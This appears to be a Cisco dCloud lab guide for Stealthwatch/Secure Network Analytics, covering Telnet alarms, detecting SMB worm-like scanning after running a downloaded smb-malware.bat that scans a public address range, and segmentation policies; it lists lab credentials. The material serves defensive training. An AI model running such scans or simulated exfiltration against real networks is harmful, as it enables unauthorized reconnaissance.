 Run a few commands to validate you have a successful Telnet session into 198.19.30.36. Start with ipconfig to verify the IP address. Next enter cd Downloads and dir to list the directory as illustrated below. Type exit to drop the Telnet session.

```
🗬 198.19.20.36 - PuTTY
                                                                         C:\Users\Administrator.WKST1>cd Downloads
C:\Users\Administrator.WKST1\Downloads>dir
Volume in drive C has no label.
Volume Serial Number is 8C72-2F19
Directory of C:\Users\Administrator.WKST1\Downloads
02/02/2019 01:19 AM
                        <DIR>
02/02/2019 01:19 AM
                        <DIR>
                                       . .
01/19/2019
                                 5,818 admindcloudciscocomCertifica.zip
           10:07 AM
01/18/2019 01:33 PM
                                 8,609 Capture1.pcap
02/02/2019 12:37 AM
                             9,701,835 dCloud Scripts.zip
01/19/2019 10:08 AM
                                 3,348 Defaultselfsignedsamlserver.zip
01/19/2019 10:09 AM
                                 3,340 Defaultselfsignedservercerti.zip
12/19/2018 08:27 PM
                               774,656 dm-launcher.msi
01/23/2019 01:10 PM
                           397,253,194 encrypted-customer-DB
02/01/2019 09:52 PM
                             1,038,431 flowAnalysis-2019.02.02-02.52.19.csv.zip
12/19/2018 08:21 PM
                            74,618,232 jre-8u191-windows-x64.exe
11/29/2018 04:13 PM
                             5,221,223 SyncHostGroupsSoap-1.1.0.jar
01/19/2019 09:46 PM
                             3,012,464 wget-1.11.4-1-setup.exe
                            491,641,150 bytes
              11 File(s)
                          1,218,977,792 bytes free
               2 Dir(s)
```

Now, let's take a look at the Policy Violation custom security event created for Internal Telnet Traffic



### **Review Secure Network Analytics for policy violations**

Secure Network Analytics will have detected the traffic and created alarms for Internal Telnet traffic using the Custom Security Event created earlier in the lab.

- On the Wkst1, if the Security Insight Dashboard is not already open, select Chrome > appliances > SMC (WebUI)

   a. If Chrome is already open with the Security Insight Dashboard displayed ignore step 1
- 2. On the dashboard you will see the Policy Violations alarm has been raised, a new Top Alarming Host violating policy, and Today's Alarms would fire as shown below
- 3. Select .CSE: Telnet Traffic from the Today's Alarms widget or Alarms by Type widget to bring up the details of the event



#### Figure 3. Policy Violations

This will bring up the host in question violating policy, as shown below.

4. In the details dialog box, select the hyperlink to View Details and investigate what policy was violated and get more information as to the security event that fired

| digle Stealthwatch   |                                     |                    |                       | ashboards         | Monitor                | Analyze        | Jobs         | Configure       | Deploy           |                 |                | ٩      |              | sktop Client |
|----------------------|-------------------------------------|--------------------|-----------------------|-------------------|------------------------|----------------|--------------|-----------------|------------------|-----------------|----------------|--------|--------------|--------------|
| .CSE: Te             | SE: Telnet Traffic   09/08/2019 (1) |                    |                       |                   |                        |                |              |                 |                  |                 |                |        |              |              |
| Alarms               |                                     |                    |                       |                   |                        |                |              |                 |                  |                 |                |        |              |              |
| First<br>Active      | Source Host<br>Groups               | Source             | Target Host<br>Groups | Target            | Alarm                  | ÷              | Policy       | Event<br>Alarms | ♣ Source<br>User | Details         | Last<br>Active | Active | Acknowledged | Actions      |
| 9/8/19<br>8:33<br>PM | Remote VPN IP<br>Pool               | 198.19.10.100<br>⊡ | File Servers          | 198.19.30.36<br>⊙ | 6 .CSE: Tel<br>Traffic | Inet Ins<br>Ho | side<br>osts |                 |                  | View<br>Details | Current        | Yes    | No           |              |

- 5. Here we can see the Custom Security Event we created has fired for Internal Telnet Traffic.
- 6. To see additional information, click the circle under Actions and select Associated Flows.

| cisco | Stealthwatc               | ch             | Dashboards | Monitor       | Analyze | Jobs            | Configure | Deploy             |                |                                | Desktop Client |
|-------|---------------------------|----------------|------------|---------------|---------|-----------------|-----------|--------------------|----------------|--------------------------------|----------------|
| Secu  | irity Events   198        | .19.10.100 (1) |            |               |         |                 |           |                    |                | Associated Flows E             | dit            |
| All S | Security Events For 1     | 98.19.10.100   |            |               |         |                 |           |                    |                | Top Reports<br>External Lookup | >              |
| •     | .CSE: Telnet Traffic - 23 | 1              | 0          | 09/08 8:30:58 | PM      | 198.19.10.100 ( | <b>.</b>  | Remote VPN IP Pool | 198.19.30.36 💮 | Subject IP: 198.19.10.1        | 00 ACTIONS     |
|       |                           |                |            |               |         |                 |           |                    |                | Peer IP: 198.19.30.36          |                |

With AnyConnect 4.2 forward, it can be configured to export accounting telemetry into Secure Network Analytics to provide additional information about endpoints on the network. This additional information includes the process name and user associated with a network connection.

See this article for information on AnyConnect exporting flow information for visibility: https://blogs.cisco.com/security/an-introduction-to-the-new-cisco-network-visibility-flow-protocol-nvzflow

#### Lab Guide

Let's view the process information associated with the flow.

• Select Manage Columns with the flow search results as illustrated below.

#### Figure 4. Associated Flows

| uluuli<br>cisco | Stealth                    | watch                  |                          | Dashboards      | Monitor               | Analyze      | Jobs     | Configure | Deploy  |                   | ٩                |         | ٥    | Desktop Client |
|-----------------|----------------------------|------------------------|--------------------------|-----------------|-----------------------|--------------|----------|-----------|---------|-------------------|------------------|---------|------|----------------|
| Flow            | Search Res                 | sults (661)            |                          |                 |                       |              |          |           |         |                   |                  |         |      |                |
| Edit            | t Search 02                | /01/2019 09:00 PM - (  | 02/02/2019 01:42 PM (Tim | ne R 2,000 (Max | (Records)             |              |          |           |         | Save Sear         | ch Save Resu     | lts     | Sta  | art New Search |
|                 | Subject: 19                | 8.19.10.100 Client (   | Drientation)             |                 |                       |              |          |           |         |                   | 100% (           | Complet | te   | Delete Search  |
| (               | Connection: All            | (Flow Direction)       |                          |                 |                       |              |          |           |         |                   |                  |         |      |                |
|                 | Peer: 19                   | 8.19.20.36 (Host IP Ad | dress)                   |                 |                       |              |          |           |         |                   |                  |         |      |                |
|                 |                            |                        |                          |                 |                       |              |          |           | 2       |                   |                  |         |      |                |
| 0               |                            |                        |                          |                 |                       |              |          |           |         | Manage Columns    | Summary          | Ð       | port | ~              |
|                 | START                      | DURATION               | SUBJECT IP A S           | SUBJECT POR     | SUBJECT HO            | SUBJECT USER | SUBJECT  | BYT SUBJE | ECT PAY | APPLICATION TO    | TAL BYTES 👋 PEER | IP ADD  | R    | PEER PORT/P    |
|                 | 📕 Ex. 06/09/2              | Ex. <=50min40          | Ex. 10.10.10.1           | Ex. 57100/UDI   | Ex. "catch All"       | Ex. john     | Ex. <=50 | IM Ex. "H |         | Ex. "Corporate Ex |                  |         |      | Ex. 2055/UDP   |
| •               | Feb 1, 2019<br>11:44:26 PM | 1s                     | 198.19.10.100 💮 4        | 12359/TCP       | Remote VPN IP<br>Pool | employee     |          |           | U       | Jndefined TCP     | 198.1            | 9.20.36 | ••   | 211/TCP        |

- 1. Check Flow Action in the Connection section, as illustrated below. This will show firewall action when flow is collected from an NGFW or ASA.
- 2. Check Subject Process Name and Subject User in the Subject section, as illustrated below. This will show process and user information exported from AnyConnect nvzflow.
- 3. Check Peer Process Name in the Peer section, as illustrated below.
- 4. Click Set.
- Figure 5. Manage Columns

| Connection Subject  | Peer General   |             | e Columns   |   |
|---|--|-------------|---|---|
| Stant Default Stant Default D | Piow Action     MCS Label     Picket Rise     Piotocol     Service     TOP Descentions     TOP Retransmissions     Todal Bytes     TOP Retransmissions     Todal Packets     Todal Tadle (Bpa)     RTT Maximum     RTT Maximum     SRT Average | SRT Madinum | Subject         Per         General           2         Image: Subject Process Rame         Image: Process Rame         Image: Subject Process Rame | Subject Trustice Name     Subject User     Subject U |

As you can see within the Column selector above, there is a great deal of context that can be written into a Secure Network Analytics flow record to build a general ledger of network conversations.

### Lab Guide

Let's investigate with this added context:

- 1. Type permitted in the Flow Action filter as illustrated below. This will show all flows that were permitted through a firewall.
- 2. Type .exe in the Subject Process filter as illustrated below. This will display any flows with .exe in the process name.
- 3. Make note of the putty.exe that was used in the previous lab to telnet into 198.19.30.36.

| 0     | Stealthw          | atch                      |                         | Dashboards          | Monitor        | Analyze      | Jobs      | Configure       | Deploy         | 000                             | Desktop Client |
|-------|-------------------|---------------------------|-------------------------|---------------------|----------------|--------------|-----------|-----------------|----------------|---------------------------------|----------------|
| NS    | Search Resu       | lts (1 of 3)              |                         |                     |                |              |           |                 |                |                                 |                |
| dit S | Search 09/01      | 7/2019 09:00 PM - 09/08   | 1/2019 08:30 PM (Time R | Ra <b>2,000</b> (Ma | x Records)     |              |           |                 |                | Save Search Save Results Sta    | art New Search |
|       | Subject: 198.1    | 19.10.100 Client (Orier   | ntation)                |                     |                |              |           |                 |                | 100% Complete                   | Delete Search  |
| C     | onnection: All (F | low Direction)            |                         |                     |                |              |           |                 |                |                                 |                |
|       | Peer: 198.1       | 19.30.36 (Host IP Address | s)                      |                     |                |              |           |                 |                |                                 |                |
|       |                   |                           |                         |                     |                |              |           |                 |                | a De commune de Commune Deserve |                |
|       |                   |                           |                         |                     |                |              | -         |                 | Manage Columns | s Summary Export ✓ More         | ~              |
| T     | START             | FLOW ACTION S             | UBJECT IP A SU          | BJECT NAT           | SUBJECT PO     | SUBJECT USER | SUBJECT   | PR TOTA         | L BYTES ENCR   | YPTION PEER IP ADDR PEER NAT HO | PEER PORT/P    |
|       | Een B. 2010       | permitted ×               | DR 10 10 100 0          |                     | EX. D7 TOUTOLA | Ex. John     | exe       |                 | -DUMY EX. 1    | 10 10 20 20 C                   | 22/10/00       |
| •     | 2:15:37 PM        | permitted                 | 90.19.10.100 (J         |                     | 51040/16P      |              | putty.exe |                 |                | 190.19.30.30 (5                 | 23/10/         |
| 1     | (our symm as ago) |                           |                         |                     |                |              |           |                 |                |                                 |                |
| ì     | General           |                           |                         |                     |                |              |           |                 |                |                                 |                |
| 1     |                   |                           |                         |                     |                |              |           |                 |                |                                 |                |
|       | Subject           |                           | Totals                  |                     |                |              |           | Door            |                |                                 |                |
|       | Packets:          | 199                       | Packets:                | 320                 |                |              |           | Packets:        | 121            |                                 |                |
|       | Packet Rate:      | 1.21 pps                  | Packet Rate:            | 1.94 pps            |                |              |           | Packet Rate:    | 0.73 pps       |                                 |                |
|       | Bytes:            | 200 B                     | Bytes:                  | 4 KB                |                |              |           | Bytes:          | 3.8 KB         |                                 |                |
|       | Byte Rate:        | 1.21 bps                  | Byte Rate:              | 24.82 bps           |                |              |           | Byte Rate:      | 23.61 bps      |                                 |                |
|       | Percent Transfer: | 4.88%                     | Subject Byte Ratio:     | 4.88%               |                |              |           | Percent Transfe | 95.12%         |                                 |                |
|       | Host Groups:      | Remote VPN IP Pool        | I RTT:                  |                     |                |              |           | Host Groups:    | File Servers   |                                 |                |
|       |                   | <u> </u>                  |                         |                     |                |              |           | Payload:        | ***            |                                 |                |

**Note**: you can connect back to the Remote VPN Workstation and use Nmap on the desktop to generate more traffic targeting the internal 198.19.20.0/24 subnet if you would like to explore more.

In this test case we created a custom security event to notify us if Secure Network Analytics ever sees internal Telnet traffic an alarm will fire as indicated above.

Telnet is an unsecure protocol with clear text traffic. It should never be used. This is just an example of how to create custom security events within Secure Network Analytics

Explore more within the interface and select the context sensitive Secure Network Analytics Help on various screens as shown below. The context sensitive help will explain the information displayed on various reports.

| 🗐 Flow Se                       | earch Results   Stealthwatc × +              |                    |                   |                   |             |                  |                 |                          | <u>9 </u> | 8 |
|---------------------------------|--|--------------------|-------------------|-------------------|-------------|------------------|-----------------|--------------------------|-----------|---|
| $\leftrightarrow \rightarrow 0$ | C 1 Not secure https://198.19.20.136/d       | -landing-page/smc. | html#/flowAnalysi | is/results/5c4ff4 | c60b2c3c452 | 56a663/5c4ff43c6 | 0b2c3c45256a664 | ☆                        | θ         | : |
| Apps                            | 📕 Appliances 📕 Splunk 🌚 ISE-PIC 📕 Test Site: | 🚾 Cisco Box        |                   |                   |             |                  |                 |                          |           |   |
| alialo<br>cisco                 | Stealthwatch                                 | Dashboards         | Monitor           | Analyze           | Jobs        | Configure        | Deploy          | Q 😰 🔅 Desktop Cli        | lent      | - |
| Flow S                          | Search Results (1)                           |                    |                   |                   |             |                  |                 | Stealthwatch Online Help | )         |   |

#### **Summary**

Within this test plan, you learned:

- How to create a Custom Security Event for Telnet communications.
- How to generate telnet traffic from the network.
- How to review the Network Security dashboard for Custom Security Alarms.

### Lab 7. Detect suspicious SMB traffic

Threat actors frequently target organizations by exploiting the Server Message Block (SMB) protocol to gain control of hosts. SMB is commonly used in many organizations and attackers use it to mask their activities on the network. Targeted destructive malware, such as Conficker, exploits vulnerabilities in SMB to deploy proxy tools, backdoors, and destructive tools.

Watch the supporting lab video overview here > https://cs.co/SWTestDrive-Lab7.

|   | Your company's sensitive information is my gain. <i>J</i>  | Mitigation Techniques   |
|---|--|---|
| 62  | Goals<br>Gain strategic advantages over an adversary<br>(espionage, sabotage, etc)   | <ul> <li>SIEM-based event log correlation and analysis</li> <li>Data Loss Prevention solutions (Data at Rest, and Data in Motion)</li> </ul>  |
|   | <ul> <li>Place automated, custom malicious code on your machines, created for specific attacks</li> <li>Hunt for vulnerable host and escalate privileges.</li> <li>Spread to the rest of your network gain from the</li> </ul>   | Expertise<br>security   |
| (SA   | exfiltration of data or the installation of malware Attack Vectors Spear Phishing Scanning/Probing Drive-By Malware  | Novice EXPERT Networking Novice EXPERT  |
| Andy<br>The Advanced<br>Persistent Threat<br>Google This:<br>Sony cyber attack, Hacked US Election<br>Korea Hacker Training | O-Day Viruses       Comand and Control       Custom Malware         Age: 18-60       Location: Global         Description:       Advanced persistent threats are orchestrated by a person or group to target either private organizations and/or states for political or business motives. These hackers are highly covert over a long period of time. | Nonitor     Track     FLAG       Monitor for data<br>exfiltration to the<br>Internet or other<br>unusual destinations     Track anomalous<br>network traffic<br>such as excessive<br>flows from an<br>endpoint to a<br>valuable server     Flag inadmissible<br>relationships such<br>as desktops to<br>desktops, desktops<br>to HR, or ATMs to<br>Internet |

On Friday, May 12, 2017, computer users around the world faced a new and very dangerous threat from malware discovered on the Internet dubbed WannaCry. This malware has been traced back to a cache of malware reported stolen from a government agency and disclosed by unknown attackers less than a year ago.

Captured in the wild and examined by members of Cisco's industry - leading Talos threat intelligence team, the initial strain of WannaCry contains a malware payload that installs ransomware on an infected host computer. It scans heavily over TCP port 445 and can make use of a vulnerability present in certain unpatched Windows machines. WannaCry has the ability to spread throughout a network, similar to a worm, leading to widespread infections. WannaCry is wreaking havoc across the Internet, and we are likely to see variants for years to come.

Security events contribute index points to alarms. Alarms are grouped into Alarm categories.

Secure Network Analytics monitors for hosts with many SMB sessions with hosts outside the network, which is consistent with worm propagation. The initial strain of WannaCry malware relies on the Server Message Block (SMB) protocol to infect and propagate computers running Microsoft Windows on the network. Secure Network Analytics has a number of alerts based on suspicious SMB activity. Specifically, high SMB traffic and SMB connections to numerous different hosts. This provides an easy indication of hosts compromised with WannaCry.

The initial strain of WannaCry malware will try to propagate inside the network laterally (from host to host) in an attempt to infect as many hosts as possible. This propagation action has been noted sometimes even before the malware triggers its ransomware payload. Secure Network Analytics is designed to detect lateral movements, especially between systems on the same subnet.

- Any reconnaissance and scanning activity, even between systems on the same subnet, is tracked by Stealthwatch.
- The Stealthwatch Worm Propagation detection report tracks and correlates scanning activity with successful connections to external command-and-control hosts, which is consistent with activity from WannaCry and other worms.

Secure Network Analytics will correlate different activities observed on a specific host computer and consider that IP as suspect based on numerical scores related to each observation. Secure Network Analytics then accumulates those scores under one index for each host IP address and raises an alarm called Concern Index. The higher this Concern Index numerical value rises, the more likely the host is engaging in malicious activity.

### **Test Drive Requirements**

The Secure Network Analytics system configuration minimum requirements are:

- Visibility of all host-to-host traffic from the core/distribution
- Stealthwatch Release 6.9 or greater

### **Test Drive Outline**

You will need to identity an IP address that will be the "attacker" along with an external IP or web address that you will transfer your simulated stolen data to during the following steps.

The "attacker" in this scenario will be sending packets targeting Windows file sharing SMB protocol 445/tcp.

Using the image below, ensure you are collecting full netflow somewhere along the path between the attacker and victim IP.



In this attack scenario, a Windows file share has been exposed to the public Internet and has become infected. This goes against security best practices.

#### Download the Exploit-Kit and Execute smb-malware.bat

To simulate SMB malware, you will pull the lab scripts using GitHub.

### Lab Guide

Cisco dCloud



- 4. From Wkst1, open the Downloads folder within Windows Explorer and double-click the git-material.sh script.
- 5. Open the lab-exploit-kit folder double click on smb-malware.bat.
- 6. The smb-malware.bat file will scan the 209.182.176.0/20 address space as shown below.



### Review Secure Network Analytics for the Alarms fired for High SMB Peers

Open Chrome and select Appliances SMC (WebUI) from the Favorites folder.

- 1. Log into Secure Network Analytics using the following: admin / C1sco12345
- 2. The Security Insight Dashboard will display when successfully logged in as shown.
- 3. Navigate to the Top Alarming Hosts widget and select the attacker (198.19.30.36) to view a Host Snapshot of the host.



- 4. When the Host Snapshot displays, scroll down to Top Security Events as shown below
- 5. Observe the security event High SMB Peers 445. The nmap scan has tripped a security event which indicates that a host has many Server Message Block (SMB) sessions to the outside, which is consistent with the WannaCry malware.
- 6. Select from the Top Security Events widget, under Actions > Associated Flows.

#### Figure 6. Top Security Events

| Host Summary  |   | Traffic by Peer   | r Host Group (last 12 hours)  | <ul> <li>Alar</li> </ul>               | rms by Type (last 7  | ' days)   | 1   |
|---|---|---|---|--|--|---|---|
|   | Host IP<br>198.19.30.36   | i 🖸   | Cue   | tom Ren                                | <u>م</u>   | larms by Type   |   |
| Flows<br>Status:<br>Hostamae:<br>Host Groups:<br>Location:<br>First Seen:<br>Last Seen:<br>Policies:<br>MAC Address:<br>ISE ANC Policy: | Classify Histo<br>wkst1.dcloud.local<br>File Servers<br>Unknown<br>6/25/19 8:31 PM<br>9/8/19 9:17 PM<br>Default Server Policy.Inside<br>Case Policy<br>00:50:56:bb:98:7b (VMwar<br>Edit | y  Catch All  Remote VPN.  Ormain Con  Protected  Multicast  Jnsider Threat Use  e, Inc.) | 198.19.30.36  | Unknown •<br>Inited Sta •<br>Ireland • | 27<br>28<br>29<br>29<br>29<br>20<br>20<br>20<br>20<br>27<br>20<br>20<br>20<br>20<br>20<br>20<br>20<br>20<br>20<br>20 | 20<br>005 006 007<br>005 006 007<br>005 005 005 000<br>005 005 005 00<br>005 005 005 00<br>005 005 005 00<br>005 005 005 00<br>005 005 00<br>005 005 00<br>005 005 00<br>005 005 00<br>005 00 | 52<br>7 0/8 0/9<br>E: Weak Encryption<br>Max Flows Initiated<br>Concern Index<br>Vectory Violation<br>Navdrag |
| Top Security Eve  | nts for 198.19.30.36  |   |   |  |  | Associated Flows<br>Top Reports   | Edit Target (2)   |
| SECURITY EVEN   | NT COUNT  | CONCERN INDEX   | FIRST ACTIVE  | TARGET HOST                            | TAR  | Tune Funet  | ACTIONS   |
| <ul> <li>High SMB Peers</li> </ul>  | s - 445 307   | 9,824,000   | 09/08 8:57:56 PM  | Multiple Hosts                         |  | Subject IP: 198.19.3  | 0.36  |
| DETAILS   |   | DESCRIPTION<br>High SMB Pee<br>consistent wit   | ers - 445: This security event indicates that<br>th worm propagation. | host has many Server Messa             | age Block (SMB) sessions   | from: 09/07 9:00 PM<br>to: 09/08 9:00 PM  |   |
| Addr_Scan/tcp   | - 445 518   | 344,000   | 09/08 8:57:12 PM  | 209.182.179.0/24                       | 4 💮 Unite  | ed States   |   |

This will run a flow query for the flows associated with this security event.

- 7. Scroll down to see the flows related to the nmap scan.
- To get a condensed view of the flows select the Manage Columns > Connection tab from the flow query and de-select: (if applicable)
  - a. Encryption TLS/SSL Version
  - b. Encryption Key Exchange
  - c. Encryption Authentication Algorithm
  - d. Encryption Algorithm and Key Length
  - e. Encryption MAC

|          | Domain                              | • | Start                    | Total Packets     |        |     |
|----------|-------------------------------------|---|--------------------------|-------------------|--------|-----|
|          | End                                 |   | Flow Action              | Total Traffic (bp | is)    |     |
| ~        | Duration                            |   | MPLS Label               | VLAN ID           |        |     |
|          | Appliance                           |   | Packet Rate              |                   |        |     |
| ~        | Application                         |   | Protocol                 |                   |        |     |
|          | Application (Flow Sensor)           |   | TCP Connections          |                   |        |     |
|          | Application (NBAR)                  |   | TCP Retransmissions      |                   |        |     |
|          | Application (PacketShaper)          |   | TCP Retransmission Ratio |                   |        |     |
|          | Application (Palo Alto Networks)    | ~ | Total Bytes              |                   |        |     |
|          | Byte Rate                           |   | RTT Average              |                   |        |     |
| ~        | Encryption TLS/SSL Version          |   | RTT Maximum              |                   |        |     |
| ~        | Encryption Key Exchange             |   | RTT Minimum              |                   |        |     |
| <b>~</b> | Encryption Authentication Algorithm |   | SRT Average              |                   |        |     |
| ~        | Encryption Algorithm and Key Length |   | SRT Maximum              |                   |        |     |
| <b>~</b> | Encryption MAC                      |   | SRT Minimum              |                   |        |     |
|          |                                     |   |                          |                   |        |     |
| Sele     | t All Deselect All Restore Defaults |   |                          |                   | Cancel | Set |

- 9. Select Set.
- 10. Notice all the flows related to SMB Traffic to the address space scanned using nmap.

# uluilu cisco

| alia)<br>cisco | Stealth   | watch                           |                      | Dashboards              | Monitor       | Analyze       | Jobs Cor    | nfigure Deploy      |             |              | 0 🛛 🔅                         | Desktop Client   |  |  |  |
|----------------|---|---------------------------------|----------------------|-------------------------|---------------|---------------|-------------|---------------------|-------------|--------------|-------------------------------|------------------|--|--|--|
| Flow           | Search Res  | ults (1,064)                    |                      |                         |               |               |             |                     |             |              |                               |                  |  |  |  |
| Edi            | t Search 09/  | /07/2019 09:00 PM - 0           | 9/08/2019 09:00 PM ( | Time Ra <b>2,000</b> (M | ax Records)   |               |             |                     | Save        | Search       | ave Results S                 | Start New Search |  |  |  |
|                | Subject: 19   | 8.19.30.36 Client (Or           | rientation)          |                         |               |               |             |                     |             |              | 100% Complete                 | Delete Search    |  |  |  |
|                | Connection: All (Flow Direction) Peer: Outside Hosts (Host Groups) 445/tep (Port / Protocol) 445/tudp (Port / Protocol) |                                 |                      |                         |               |               |             |                     |             |              |                               |                  |  |  |  |
|                | Peer: Outside Hosts (Host Groups) 445/tcp (Port / Protocol) 445/udp (Port / Protocol)                                   |                                 |                      |                         |               |               |             |                     |             |              |                               |                  |  |  |  |
| 0              |   |                                 |                      |                         |               |               |             | Manage (            | Columns S   | ummary       | Export $\checkmark \mid$ More | • ~   = =        |  |  |  |
|                | START   | FLOW ACTION $^{\smallsetminus}$ | SUBJECT IP A         | SUBJECT NAT             | SUBJECT PO    | SUBJECT PR    | TOTAL BYTES | PEER IP ADDR        | PEER NAT HO | PEER PORT/P  | PEER PROCES                   | ACTIONS          |  |  |  |
|                | 📕 Ex. 06/09/2   | Ex. permitted                   | Ex. 10.10.10.1       | Ex. cisco               | Ex. 57100/UDi | Ex. chrome.ex | Ex. <=50M   | Ex. 10.255.25:      | Ex. cisco   | Ex. 2055/UDP | Ex. chrome.ex                 |                  |  |  |  |
| •              | Sep 8, 2019<br>8:58:01 PM<br>(24min 24s ago)  |                                 | 198.19.30.36 💮       |                         | 46238/TCP     |               |             | 209.182.183.12<br>⊙ |             | 445/TCP      |                               | $\odot$          |  |  |  |
| ÷              | Sep 8, 2019<br>8:58:01 PM<br>(24min 24s ago)  |                                 | 198.19.30.36 💮       |                         | 46238/TCP     |               |             | 209.182.183.10<br>⊙ |             | 445/TCP      |                               | <b>⊡</b>         |  |  |  |
| •              | Sep 8, 2019<br>8:58:01 PM<br>(24min 24s ago)  |                                 | 198.19.30.36 💮       |                         | 46238/TCP     |               |             | 209.182.180.11<br>⊙ |             | 445/TCP      |                               | •••              |  |  |  |

Explore more within the interface and select the context sensitive Stealthwatch Online Help on various screens shown below. The context sensitive help will assist in explaining the information displayed on various reports.

| 🖅 Flow Search Results   Stealthwate 🗙                           | +                           |                   |                   |                    |             |                  |                |   |                       |        | 9 : | × |
|---|-----------------------------|-------------------|-------------------|--------------------|-------------|------------------|----------------|---|-----------------------|--------|-----|---|
| ← → C ☆ 🔺 Not secure  | https://198.19.20.136/lc-la | nding-page/smc.ht | ml#/flowAnalysis, | /results/5c4ff43cf | 50b2c3c4525 | 5a663/5c4ff43c60 | o2c3c45256a664 |   |                       | ☆      | θ   | : |
| 🗰 Apps 🧧 Appliances 🧧 Splunk 🌑 ISE-PIC 🗧 Test Sites 🔤 Cisco Box |                             |                   |                   |                    |             |                  |                |   |                       |        |     |   |
| dialo Stealthwatch  | ٦                           | Dashboards        | Monitor           | Analyze            | Jobs        | Configure        | Deploy         | Q | Deskto                | p Clie | ent | * |
| Flow Search Results (1  | )                           |                   |                   |                    |             |                  |                | 4 | Stealthwatch Online F |        |     |   |

### Summary

Within this test plan, you learned:

- How to simulate SMB traffic using nmap.
- How to review the Network Security dashboard for Top Alarming Hosts.

## uluilu cisco

#### Lab 8. Network segmentation violations

Network administrators are faced with the challenge of creating policies that are effective and do not impede legitimate access. Administrators often do not know the roles of everyone within the company, nor what assets they need access to. They need to be able to see existing network traffic, and they need a way to model policies and assess their accuracy without enforcing them.

Watch the supporting lab video overview here > <u>https://cs.co/SWTestDrive-Lab8</u>.



### **Test Drive Objectives**

Secure Network Analytics provides visibility into network traffic, which allows network administrators to do the following:

- Inventory network assets and classify them based on role or function
- Gain insight into user behavior and interactions on the network

With the information provided by Secure Network Analytics, an administrator can design segmentation based on network activity. Using host and host group policies, proposed segmentation policies can be tested without enforcing them. Alarms can be created to trigger on policies to see what affect they might have without disrupting critical business activities.

### **Test Drive Requirements**

The Secure Network Analytics system configuration minimum requirements are:

- Visibility of all host-to-host traffic from the core/distribution
- Cisco Identity Service Engine for user information
- Stealthwatch Release 6.9 or greater

### **Test Drive Outline**

Task 1: Verify the current host group tree

Task 2: Demonstrate how host group automation can work with an IPAM to help with segmentation

Task 3: Create a policy and test out network segmentation violations

### Test Drive Scenario:

When we think of security at the network level, we immediately call to mind firewalls, access control lists, and other complex, static methods of security enforcement. Alternative techniques for separating traffic or secluding host communities often rely on even more complexity, such as VRF's. Agility becomes a challenge with these static methods, costs increase as we add more devices into the network for security enforcement, or complexity increases in trying to maintain a consistent, network wide policy. While these challenges are in themselves barriers to success, perhaps an even bigger challenge is in validation and ongoing knowledge of whether these efforts are working or effective at achieving the intended goal.

Secure Network Analytics is uniquely suited to validating the results of your security investment by providing full disclosure of what is happening in the network before and after deploying security measures.

This scenario uses the comprehensive Flow Query tool to validate network segmentation between host device communities. What methods do you have to quickly discern the effectiveness of your security efforts?



### Task 1: Verify the current host group tree

- 1. Log in to Secure Network Analytics: Open Chrome, and then select Favorites > Appliances > SMC (WebUI).
- 2. Log in to the SMC using the following username and password credentials: admin / C1sco12345.
- 3. Select Configure > Host Group Management.
- 4. Highlight By Location and make note that there are no sub groups under By Location. We will use the API to programmatically update this group structure.





# Task 2: Demonstrate how host group automation can work with an IPAM to help with segmentation

We will be using GitHub to pull the lab scripts.

- 1. From the Wkst1 desktop, launch the **Git Bash** program as illustrated below.
- 2. Type **pwd** to verify you are in the /c/Users/Adminstrator.WKST1 directory.
- 3. Type cd Downloads, and then press Enter.
- 4. Type git clone https://github.com/sw-dcloud-lab/lab-hga, and then press Enter to download.



**Note**: If the lab-hga folder already exists, you can refresh content by changing directories **cd** into /Downloads/lab-hga and run **git pull https://github.com/sw-dcloud-lab/lab-hga**.

- 5. Navigate to the Downloads > lab-hga folder on Wkst1.
- 6. Double-click the update\_dCloudHostGroup.bat script, and then select Run as illustrated below.



#### Verify the host groups have been updated

- Log in to Secure Network Analytics: Open Chrome and select Favorites > Appliances > SMC (WebUI). If you are already logged into the SMC, refresh the browser to update the information displayed.
- 2. Log in to the SMC using the following credentials:
  - a. admin (username)
  - b. C1sco12345 (password)



#### 3. Select Configure > Host Group Management.

- 4. Highlight **By Location** and make note of the updated locations with IP ranges.
- 5. Highlight **Protected Asset Monitoring** and make note of the IP address **198.19.20.134**.

| ← → C ▲ Not Secure   https://198.19.20.136/lc-landing-page | e/smc.html#/hostgroup   | management |      |  |               | ९ 🖈 🛛 🤤 🕎 🗄  |
|--|---|------------|------|--|---------------|--|
| disco Stealthwatch Dashbo                                  | oards Monitor   | Analyze    | Jobs | Configure  | Deploy        | Q 🗷 🔅 Desktop Client   |
| Host Group Management                                      |   |            | 3    | Network City and<br>Host Group Manag<br>Applications | tion<br>ement |  |
| Filter by Host Group Name                                  | By Location Hat<br>HOST GROUP NAME =<br>By Location<br>PARENT HOST GROUP<br>Inside Hosts<br>DESCRIPTION (512 CH | ar Max)    |      | Policy Managemen                                     | inges         | Edit  ADVANCED OPTIONS  Enable baselining for hosts in this group Bisable security events using excluded services Bisable flood alarms and security events when a host in this group is the target Bisable flows to Cognitive Threat Analytics |
| Import All Export All                                      |   |            |      |  |               | Cancel Save  |

### Task 3: Create a policy and test out network segmentation violations

In this task, we will create a custom security event and test out the new policy.

- 1. Open the SMC web interface and navigate to **Configure > Policy Management**.
- 2. Select Custom Events.
- 3. Select Create New Policy > Custom Security Event.

| ← → C ▲ Not Secure   https://198.19.20.136                 | /lc-landing-page/smc.html#/po | licymanagement |      |   | ९ 🖈 🛛 🤤 🔣   🕕 :      |
|--|-------------------------------|----------------|------|---|----------------------|
| didde Stealthwatch   | Dashboards Mor                | nitor Analyze  | Jobs | Configure Deploy  | Q 😰 🌣 Desktop Client |
| Policy Management Search for a host or select a host group | Search                        |                |      | Network Elassification<br>Host Grup Management<br>Applicatures<br>Policy Management |                      |
| Custom Events (5) Relationship Events (407)                | Core Events (802) 🜒           |                |      |   | Create New Policy ~  |

Complete the following steps:

- 1. Enter Name: .CSE: Unauthorized Connection to Protected Assets.
- 2. Take note of the period (.) in front of the CSE which will cause the name to sort first.
- 2. (Optional) Enter description: Unauthorized Connection will violate Security Policy.
- 3. Status: On.
- 4. Find + and select Subject Host Group = Protected Asset Monitoring.
- 5. Find + and select Peer Host Group = Client IP Ranges (DHCP Range).
- 6. **Save** as illustrated below.

| → C A Not Secure   https://198.19.20.136/lc-landing-page/smc.html#/policymanagement/custompolicy Q 😒 🔟   0 |               |                         |                       |               |               |                                  |  |  |  |
|--|---------------|-------------------------|-----------------------|---------------|---------------|----------------------------------|--|--|--|
| stealthwatch   | Dashboards    | Monitor                 | Analyze               | Jobs          | Configure     | Deploy                           | Q 🗷 🔅 Desktop Client                         |  |  |
| Policy Management   Custom Security Ever   | nt            |                         |                       |               |               |                                  | Cancel Save                                  |  |  |
